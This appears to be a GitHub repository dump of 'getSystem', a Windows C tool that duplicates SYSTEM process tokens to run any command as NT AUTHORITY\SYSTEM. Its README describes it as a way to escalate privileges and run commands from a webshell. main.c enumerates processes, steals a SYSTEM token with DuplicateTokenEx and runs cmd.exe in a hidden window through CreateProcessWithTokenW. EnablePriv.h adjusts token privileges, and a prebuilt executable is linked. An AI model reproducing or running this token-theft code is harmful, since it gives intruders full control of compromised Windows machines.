├── JUgYF0.png ├── README.md ├── getSystem.exe ├── getSystem.sln └── getSystem ├── EnablePriv.h ├── getSystem.vcxproj ├── getSystem.vcxproj.filters ├── getSystem.vcxproj.user └── main.c /JUgYF0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/uknowsec/getSystem/147a269dbea616efa6e8b50fbe737ec45da90144/JUgYF0.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # getSystem 2 | 3 | ``` 4 | > getSystem.exe 5 | [+] getSystem Modify by Uknow 6 | [+] usage: getSystem command 7 | [+] eg: getSystem "whoami /all" 8 | 9 | > getSystem.exe "whoami" 10 | [+] getSystem Modify by Uknow 11 | [+] Token Duplicated 12 | [+] CreatePipe success 13 | [+] Command : "c:\Windows\System32\cmd.exe" "/c whoami" 14 | [+] Process with pid: 3772 created. 15 | ============================== 16 | 17 | nt authority\system 18 | ``` 19 | 20 | ![a](https://github.com/uknowsec/getSystem/blob/master/JUgYF0.png) 21 | 22 | webshell下提权执行命令 Reference:https://github.com/yusufqk/SystemToken 23 | -------------------------------------------------------------------------------- /getSystem.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/uknowsec/getSystem/147a269dbea616efa6e8b50fbe737ec45da90144/getSystem.exe -------------------------------------------------------------------------------- /getSystem.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30011.22 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "getSystem", "getSystem\getSystem.vcxproj", "{C0A1696C-C5C9-45A3-AD35-AC82C514AC92}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {C0A1696C-C5C9-45A3-AD35-AC82C514AC92}.Debug|x64.ActiveCfg = Debug|x64 17 | {C0A1696C-C5C9-45A3-AD35-AC82C514AC92}.Debug|x64.Build.0 = Debug|x64 18 | {C0A1696C-C5C9-45A3-AD35-AC82C514AC92}.Debug|x86.ActiveCfg = Debug|Win32 19 | {C0A1696C-C5C9-45A3-AD35-AC82C514AC92}.Debug|x86.Build.0 = Debug|Win32 20 | {C0A1696C-C5C9-45A3-AD35-AC82C514AC92}.Release|x64.ActiveCfg = Release|x64 21 | {C0A1696C-C5C9-45A3-AD35-AC82C514AC92}.Release|x64.Build.0 = Release|x64 22 | {C0A1696C-C5C9-45A3-AD35-AC82C514AC92}.Release|x86.ActiveCfg = Release|Win32 23 | {C0A1696C-C5C9-45A3-AD35-AC82C514AC92}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {3B8D39A4-5555-4F79-924E-72DC3B8BB2C5} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /getSystem/EnablePriv.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | BOOL EnablePriv(void) { 8 | LUID debug_value, restore_value; 9 | BOOL lookup_debug, lookup_restore, token_info; 10 | HANDLE proc_token, current_handle; 11 | DWORD buffer_size; 12 | PTOKEN_PRIVILEGES all_token_privs; 13 | int RestoreFound = 0, DebugFound = 0; 14 | TOKEN_PRIVILEGES my_token; 15 | PTOKEN_PRIVILEGES p_mytoken; 16 | 17 | lookup_debug = LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &debug_value); 18 | lookup_restore = LookupPrivilegeValueA(NULL, "SeRestorePrivilege", &restore_value); 19 | if (!lookup_debug || !lookup_restore) 20 | return FALSE; 21 | 22 | //get handle to your token 23 | current_handle = GetCurrentProcess(); 24 | BOOL handle_result = OpenProcessToken(current_handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_READ, &proc_token); //TOKEN_QUERY required to access token 25 | if (!handle_result) 26 | return FALSE; 27 | 28 | //Get Token structure length 29 | GetTokenInformation(proc_token, TokenPrivileges, NULL, 0, &buffer_size); //This function always fails, but returns buffer_size 30 | 31 | //call GetTokenInformation again to get the struct data 32 | all_token_privs = (PTOKEN_PRIVILEGES)malloc(buffer_size); 33 | token_info = GetTokenInformation(proc_token, TokenPrivileges, all_token_privs, buffer_size, &buffer_size); 34 | if (!token_info) 35 | return FALSE; 36 | 37 | //Now we will check if SeDebugPrivilege & SeRestorePrivilege is in all_token_privs 38 | for (int x = 0; x < all_token_privs->PrivilegeCount; x++) { 39 | if ((all_token_privs->Privileges[x].Luid.LowPart == debug_value.LowPart) && (all_token_privs->Privileges[x].Luid.HighPart == debug_value.HighPart)) { 40 | printf("[+] SeDebugPrivilege Found\n"); 41 | DebugFound++; 42 | } 43 | else if ((all_token_privs->Privileges[x].Luid.LowPart == restore_value.LowPart) && (all_token_privs->Privileges[x].Luid.HighPart == restore_value.HighPart)) { 44 | printf("[+] SeRestorePrivilege Found\n"); 45 | RestoreFound++; 46 | } 47 | else if (DebugFound == 1 && RestoreFound == 1) 48 | break; 49 | else 50 | continue; 51 | } 52 | 53 | if (!DebugFound) { 54 | printf("[!] SeDebugPrivilege not found\n"); 55 | return FALSE; 56 | } 57 | if (!RestoreFound) { 58 | printf("[!] SeRestorePrivilege not found\n"); 59 | return FALSE; 60 | } 61 | 62 | //change the token privilege for SeRestore then 63 | //define the new token struct 64 | //to enable more than 1 privilege at a time, change the 65 | //ANYSIZE_ARRAY definition in winnt.h 66 | my_token.PrivilegeCount = 1; 67 | my_token.Privileges[0].Luid = restore_value; 68 | my_token.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 69 | //my_token.Privileges[1].Luid = debug_value; 70 | //my_token.Privileges[1].Attributes = SE_PRIVILEGE_ENABLED; 71 | p_mytoken = &my_token; 72 | 73 | //now change the token 74 | BOOL change_priv = AdjustTokenPrivileges(proc_token, FALSE, p_mytoken, 0, NULL, NULL); 75 | if (!change_priv) 76 | return FALSE; 77 | 78 | return TRUE; 79 | 80 | } 81 | 82 | 83 | -------------------------------------------------------------------------------- /getSystem/getSystem.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {C0A1696C-C5C9-45A3-AD35-AC82C514AC92} 24 | getSystem 25 | 10.0 26 | 27 | 28 | 29 | Application 30 | true 31 | v142 32 | Unicode 33 | Static 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | Static 48 | 49 | 50 | Application 51 | false 52 | v142 53 | true 54 | Unicode 55 | Static 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | true 77 | 78 | 79 | true 80 | 81 | 82 | false 83 | 84 | 85 | false 86 | 87 | 88 | 89 | Level3 90 | true 91 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 92 | true 93 | 94 | 95 | Console 96 | true 97 | 98 | 99 | 100 | 101 | Level3 102 | true 103 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | true 105 | 106 | 107 | Console 108 | true 109 | 110 | 111 | 112 | 113 | Level3 114 | true 115 | true 116 | true 117 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 118 | true 119 | 120 | 121 | Console 122 | true 123 | true 124 | true 125 | 126 | 127 | 128 | 129 | Level3 130 | true 131 | true 132 | true 133 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 134 | true 135 | 136 | 137 | Console 138 | true 139 | true 140 | true 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | -------------------------------------------------------------------------------- /getSystem/getSystem.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | 23 | 24 | 头文件 25 | 26 | 27 | -------------------------------------------------------------------------------- /getSystem/getSystem.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /getSystem/main.c: -------------------------------------------------------------------------------- 1 | #define _CRT_SECURE_NO_WARNINGS 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include "EnablePriv.h" 8 | 9 | #define MAX_PATH 35 10 | #define MAX_ARRAY 35 11 | #define NAME_ARRAY 200 12 | 13 | int protected_check(DWORD pid, char* cmd); 14 | BOOL system_check(PROCESSENTRY32 process); 15 | void token_elevation(HANDLE process, char* cmd); 16 | 17 | typedef struct _process { 18 | PROCESSENTRY32 pprocess; 19 | struct process* next; 20 | } process; 21 | 22 | typedef struct _protected_process { 23 | PROCESSENTRY32 pprotected; 24 | } protected_process; 25 | 26 | int system_check_flag = 0; 27 | DWORD WINAPI ThreadProc(LPVOID lpParam) { 28 | BYTE b[1030]; 29 | DWORD d = 0; 30 | while (ReadFile((HANDLE)lpParam, b, 1024, &d, 0)) 31 | { 32 | b[d] = '\0'; 33 | printf("%s", b); 34 | fflush(stdout); 35 | } 36 | return 0; 37 | } 38 | 39 | int main(int argc, char* argv[]) 40 | { 41 | printf("[+] getSystem Modify by Uknow\n"); 42 | if (argc != 2) 43 | { 44 | printf("[+] usage: getSystem command \n"); 45 | printf("[+] eg: getSystem \"whoami /all\" \n"); 46 | return -1; 47 | } 48 | process* head, * position = NULL; 49 | PROCESSENTRY32 each_process, entry; 50 | HANDLE snapshot_proc; 51 | BOOL first_result, system_process; 52 | protected_process protected_arr[MAX_ARRAY]; 53 | int protected_count = 0; 54 | 55 | //Uncomment to enable token privileges 56 | /*BOOL debug_result = EnablePriv(); 57 | if (!debug_result) { 58 | printf("[!] Error: Failed to acquire Privileges!\n\n"); 59 | } 60 | else 61 | printf("[+] SeRestore Privilege Acquired!\n\n");*/ 62 | 63 | snapshot_proc = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 64 | if (snapshot_proc == INVALID_HANDLE_VALUE) { 65 | printf("[!] Error: Could not return handle on snapshot"); 66 | exit(1); 67 | } 68 | 69 | each_process.dwSize = sizeof(PROCESSENTRY32); 70 | first_result = Process32First(snapshot_proc, &each_process); 71 | if (!first_result) { 72 | printf("[!] Error: Could not grab first process"); 73 | exit(1); 74 | } 75 | 76 | //Linked list used for future examples on access to different processes for different actions 77 | //Create first node in linked list 78 | process* new_entry = (process*)malloc(sizeof(process)); 79 | if (new_entry == NULL) { 80 | printf("[!] Could not assign new entry on heap!"); 81 | exit(1); 82 | } 83 | 84 | //The first entry in the linked list is mapped by the head pointer 85 | new_entry->pprocess = each_process; 86 | new_entry->next = NULL; 87 | head = new_entry; 88 | 89 | system_process = system_check(each_process); 90 | if (system_process) { 91 | int protection_result = protected_check(each_process.th32ProcessID, argv[1]); 92 | if (protection_result) { 93 | protected_arr[protected_count].pprotected = each_process; //added protected processes to array for future use 94 | protected_count += 1; 95 | } 96 | } 97 | 98 | while (Process32Next(snapshot_proc, &each_process)) { 99 | position = head; 100 | while (position->next != NULL) 101 | position = position->next; 102 | process* next_entry = (process*)malloc(sizeof(process)); 103 | if (new_entry == NULL) { 104 | printf("[!] Could not assign new entry on heap!"); 105 | exit(1); 106 | } 107 | next_entry->pprocess = each_process; 108 | next_entry->next = NULL; 109 | position->next = next_entry; 110 | 111 | //after finding the System process once we ignore the system_check function going forward 112 | if (!system_check_flag) { 113 | system_process = system_check(each_process); 114 | if (!system_process) 115 | continue; 116 | } 117 | 118 | int protection_result = protected_check(each_process.th32ProcessID, argv[1]); 119 | if (protection_result) { 120 | if (protected_count != MAX_ARRAY) { 121 | protected_arr[protected_count].pprotected = each_process; 122 | protected_count += 1; 123 | } 124 | } 125 | 126 | } 127 | CloseHandle(snapshot_proc); 128 | } 129 | 130 | int protected_check(DWORD pid, char* cmd) { 131 | HANDLE proc_handle = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pid); 132 | if (proc_handle == NULL) { 133 | HANDLE proc_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, TRUE, pid); //required for protected processes 134 | token_elevation(proc_handle, cmd); 135 | return 1; 136 | } 137 | token_elevation(proc_handle, cmd); 138 | return 0; 139 | } 140 | 141 | //This function serves to skip over the "System" process 142 | //Trying to steal its token fails and delays code execution 143 | //Once this function returns FALSE it means the System process 144 | //has been found and this function is no longer needed 145 | BOOL system_check(PROCESSENTRY32 process) { 146 | CHAR* system_process = "System"; 147 | int comparison = 0; 148 | 149 | for (int i = 0; i < MAX_PATH; i++) { 150 | if (process.szExeFile[i] == '\0') 151 | break; 152 | else if (process.szExeFile[i] == *system_process) { 153 | system_process++; 154 | comparison++; 155 | } 156 | else 157 | break; 158 | } 159 | if (wcslen(process.szExeFile) == comparison) { 160 | system_check_flag++; 161 | return FALSE; 162 | } 163 | return TRUE; 164 | } 165 | 166 | //This function's objective is to get the user of a process and check if 167 | //it is SYSTEM 168 | BOOL GetUserInfo(HANDLE token, PTCHAR account_name, PTCHAR domain_name) { 169 | DWORD token_size, name_size = NAME_ARRAY, domain_size = NAME_ARRAY; 170 | PTOKEN_USER token_user; 171 | SID_NAME_USE sid_type; 172 | int comparison = 0; 173 | PTCHAR arr_cmp = L"SYSTEM"; 174 | 175 | GetTokenInformation(token, TokenUser, NULL, 0, &token_size); 176 | token_user = (PTOKEN_USER)malloc(token_size); 177 | BOOL result = GetTokenInformation(token, TokenUser, token_user, token_size, &token_size); 178 | if (!result) { 179 | printf("[!] Error: Could not obtain user token information!\n"); 180 | return 1; 181 | } 182 | else { 183 | result = LookupAccountSid(NULL, token_user->User.Sid, account_name, &name_size, domain_name, &domain_size, &sid_type); 184 | if (!result) { 185 | printf("[!] Error: Could not get user details!\n"); 186 | } 187 | } 188 | free(token_user); 189 | 190 | int arr_length = wcslen(account_name); 191 | 192 | for (int z = 0; z < NAME_ARRAY; z++) { 193 | if (*account_name == '\0') 194 | break; 195 | else if (*account_name == *arr_cmp) { 196 | comparison++; 197 | account_name++; 198 | arr_cmp++; 199 | } 200 | else 201 | break; 202 | } 203 | if (comparison == arr_length) 204 | return TRUE; 205 | else 206 | return FALSE; 207 | } 208 | 209 | //this function's objective is to get the owner of the process and check if 210 | //it is part of the Administrators group 211 | BOOL GetOwnerInfo(HANDLE token, PTCHAR account_name, PTCHAR domain_name) { 212 | DWORD token_size = NULL, name_size = NAME_ARRAY, domain_size = NAME_ARRAY; 213 | PTOKEN_OWNER token_owner; 214 | SID_NAME_USE sid_type; 215 | int comparison = 0; 216 | PTCHAR arr_cmp = L"Administrators"; 217 | SecureZeroMemory(account_name, NAME_ARRAY); 218 | SecureZeroMemory(domain_name, NAME_ARRAY); 219 | 220 | GetTokenInformation(token, TokenOwner, NULL, 0, &token_size); 221 | token_owner = (PTOKEN_OWNER)malloc(token_size); 222 | BOOL result = GetTokenInformation(token, TokenOwner, token_owner, token_size, &token_size); 223 | if (!result) { 224 | printf("[!] Error: Could not obtain owner token information!\n"); 225 | } 226 | else { 227 | result = LookupAccountSid(NULL, token_owner->Owner, account_name, &name_size, domain_name, &domain_size, &sid_type); 228 | if (!result) { 229 | printf("[!] Error: Could not get user details!\n"); 230 | } 231 | } 232 | free(token_owner); 233 | 234 | int arr_length = wcslen(account_name); 235 | 236 | for (int z = 0; z < NAME_ARRAY; z++) { 237 | if (*account_name == '\0') 238 | break; 239 | else if (*account_name == *arr_cmp) { 240 | comparison++; 241 | account_name++; 242 | arr_cmp++; 243 | } 244 | else 245 | break; 246 | } 247 | if (comparison == arr_length) 248 | return TRUE; 249 | else 250 | return FALSE; 251 | } 252 | 253 | //This function will attempt to duplicate a SYSTEM token and create 254 | //a new process with it. If successful SYSTEM shell obtained 255 | void token_elevation(HANDLE process, char* cmd) { 256 | wchar_t wtext[512]; 257 | mbstowcs(wtext, cmd, strlen(cmd) + 1);//Plus null 258 | LPWSTR ptr = wtext; 259 | WCHAR n[1024] = L"/c "; 260 | _tcscat_s(n, 512, ptr); 261 | TCHAR account_name[NAME_ARRAY], domain_name[NAME_ARRAY]; 262 | HANDLE ptoken, new_token; 263 | STARTUPINFO startupinfo = { 0 }; 264 | PROCESS_INFORMATION procinfo = { 0 }; 265 | BOOL user_check, owner_check, duplicated; 266 | SECURITY_ATTRIBUTES sa = { 0 }; 267 | HANDLE hRead, hWrite; 268 | sa.nLength = sizeof(SECURITY_ATTRIBUTES); 269 | sa.lpSecurityDescriptor = NULL; 270 | sa.bInheritHandle = 1; 271 | BOOL flag = CreatePipe(&hRead, &hWrite, &sa, 1024); 272 | startupinfo.hStdError = hWrite; 273 | startupinfo.hStdOutput = hWrite; 274 | startupinfo.lpDesktop = L"WinSta0\\Default"; 275 | startupinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; 276 | startupinfo.wShowWindow = SW_HIDE; 277 | HANDLE hReadThread = CreateThread(NULL, 0, ThreadProc, hRead, 0, NULL); 278 | HANDLE hPrimary; 279 | BOOL result = OpenProcessToken(process, MAXIMUM_ALLOWED, &ptoken); // 280 | if (!result) { 281 | //printf("[!] Error: Could not open handle to token\n"); 282 | return 1; 283 | } 284 | 285 | user_check = GetUserInfo(ptoken, account_name, domain_name); 286 | owner_check = GetOwnerInfo(ptoken, account_name, domain_name); 287 | 288 | if (user_check & owner_check) { 289 | result = DuplicateTokenEx(ptoken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &new_token); 290 | if (result) { 291 | printf("[+] Token Duplicated\n"); 292 | duplicated = CreateProcessWithTokenW(new_token, 0, L"C:\\Windows\\System32\\cmd.exe", n, CREATE_NO_WINDOW, NULL, NULL, &startupinfo, &procinfo); 293 | if (duplicated) { 294 | if (flag) { 295 | printf("[+] CreatePipe success\n"); 296 | } 297 | printf("[+] Command : \"c:\\Windows\\System32\\cmd.exe\" \"%S\"\n", n); 298 | printf("[+] Process with pid: %d created.\n==============================\n\n", procinfo.dwProcessId); 299 | fflush(stdout); 300 | WaitForSingleObject(procinfo.hProcess, -1); 301 | TerminateThread(hReadThread, 0); 302 | CloseHandle(&startupinfo); 303 | CloseHandle(&procinfo); 304 | exit(1); 305 | } 306 | else 307 | { 308 | printf("[!] FAIL"); 309 | } 310 | } 311 | } 312 | } 313 | 314 | 315 | 316 | --------------------------------------------------------------------------------